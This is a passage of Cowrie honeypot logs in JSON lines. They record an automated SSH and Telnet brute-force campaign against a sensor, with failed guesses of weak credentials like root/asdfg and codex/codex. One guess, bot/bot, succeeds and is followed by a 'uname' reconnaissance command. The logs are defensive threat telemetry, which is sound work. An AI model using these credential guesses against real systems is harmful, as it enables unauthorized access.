mac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:36.153105Z","src_ip":"109.172.54.111","session":"ad08661c64b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:36.412649Z","src_ip":"45.156.87.69","session":"92831b46d01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfg","message":"login attempt [root/asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:36.447381Z","src_ip":"109.172.54.111","session":"ad08661c64b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:37.549057Z","src_ip":"109.172.54.111","session":"ad08661c64b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":39394,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a354504f07a","protocol":"ssh","message":"New connection: 45.156.87.69:39394 (159.203.135.109:22) [session: 7a354504f07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:38.401749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:38.468997Z","src_ip":"45.156.87.69","session":"7a354504f07a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:38.566448Z","src_ip":"45.156.87.69","session":"7a354504f07a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123","message":"login attempt [marketing/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:39.187688Z","src_ip":"45.156.87.69","session":"7a354504f07a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:40.274955Z","src_ip":"45.156.87.69","session":"7a354504f07a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":39400,"dst_ip":"159.203.135.109","dst_port":22,"session":"68aaa7a714ad","protocol":"ssh","message":"New connection: 45.156.87.69:39400 (159.203.135.109:22) [session: 68aaa7a714ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:42.056793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:42.103990Z","src_ip":"45.156.87.69","session":"68aaa7a714ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:42.199756Z","src_ip":"45.156.87.69","session":"68aaa7a714ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"casio","message":"login attempt [root/casio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:43.059713Z","src_ip":"45.156.87.69","session":"68aaa7a714ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:44.161898Z","src_ip":"45.156.87.69","session":"68aaa7a714ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":39414,"dst_ip":"159.203.135.109","dst_port":22,"session":"21ebfa73f1fc","protocol":"ssh","message":"New connection: 45.156.87.69:39414 (159.203.135.109:22) [session: 21ebfa73f1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:45.835394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:45.857351Z","src_ip":"45.156.87.69","session":"21ebfa73f1fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:45.976670Z","src_ip":"45.156.87.69","session":"21ebfa73f1fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@","message":"login attempt [root/123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:46.881850Z","src_ip":"45.156.87.69","session":"21ebfa73f1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:48.097190Z","src_ip":"45.156.87.69","session":"21ebfa73f1fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34796,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a0ee9fbd374","protocol":"telnet","message":"New connection: 152.42.224.71:34796 (10.17.0.5:23) [session: 1a0ee9fbd374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:48.553505Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":45630,"dst_ip":"159.203.135.109","dst_port":22,"session":"54691f7bd57f","protocol":"ssh","message":"New connection: 45.156.87.69:45630 (159.203.135.109:22) [session: 54691f7bd57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:49.483412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:49.490146Z","src_ip":"45.156.87.69","session":"54691f7bd57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:49.591592Z","src_ip":"45.156.87.69","session":"54691f7bd57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"codex","password":"codex","message":"login attempt [codex/codex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:50.248877Z","src_ip":"45.156.87.69","session":"54691f7bd57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:51.484888Z","src_ip":"45.156.87.69","session":"54691f7bd57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":45642,"dst_ip":"159.203.135.109","dst_port":22,"session":"9809e801c87c","protocol":"ssh","message":"New connection: 45.156.87.69:45642 (159.203.135.109:22) [session: 9809e801c87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:52.924860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:53.105993Z","src_ip":"45.156.87.69","session":"9809e801c87c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:53.110730Z","src_ip":"45.156.87.69","session":"9809e801c87c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.50035786628723,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:53.160857Z","src_ip":"152.42.224.71","session":"500a41ebd7d1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1234","message":"login attempt [developer/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:54.075490Z","src_ip":"45.156.87.69","session":"9809e801c87c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:55.310594Z","src_ip":"45.156.87.69","session":"9809e801c87c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":34876,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1be8830e3c7","protocol":"ssh","message":"New connection: 45.156.87.69:34876 (159.203.135.109:22) [session: e1be8830e3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:56.390799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:56.693597Z","src_ip":"45.156.87.69","session":"e1be8830e3c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:56.716677Z","src_ip":"45.156.87.69","session":"e1be8830e3c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:57.477886Z","src_ip":"45.156.87.69","session":"e1be8830e3c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:57.900379Z","src_ip":"45.156.87.69","session":"e1be8830e3c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:57.904728Z","src_ip":"45.156.87.69","session":"e1be8830e3c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:58.085858Z","src_ip":"45.156.87.69","session":"e1be8830e3c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:58.091564Z","src_ip":"45.156.87.69","session":"e1be8830e3c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.121.116.41","src_port":53565,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c622e37ec26","protocol":"telnet","message":"New connection: 125.121.116.41:53565 (159.203.135.109:23) [session: 8c622e37ec26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:59.125794Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59218,"dst_ip":"10.17.0.5","dst_port":23,"session":"0979039e848d","protocol":"telnet","message":"New connection: 152.42.224.71:59218 (10.17.0.5:23) [session: 0979039e848d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:59.158507Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.148.75.47","src_port":35568,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ba8c7e7c74","protocol":"telnet","message":"New connection: 169.148.75.47:35568 (10.17.0.5:23) [session: 46ba8c7e7c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:59.811858Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":34890,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a477719385","protocol":"ssh","message":"New connection: 45.156.87.69:34890 (159.203.135.109:22) [session: 83a477719385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:00.298973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:00.406257Z","src_ip":"45.156.87.69","session":"83a477719385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:00.411030Z","src_ip":"45.156.87.69","session":"83a477719385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456789","message":"login attempt [server/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:01.125847Z","src_ip":"45.156.87.69","session":"83a477719385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:02.331778Z","src_ip":"45.156.87.69","session":"83a477719385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":34904,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbe3e93975d3","protocol":"ssh","message":"New connection: 45.156.87.69:34904 (159.203.135.109:22) [session: cbe3e93975d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:03.897216Z"}
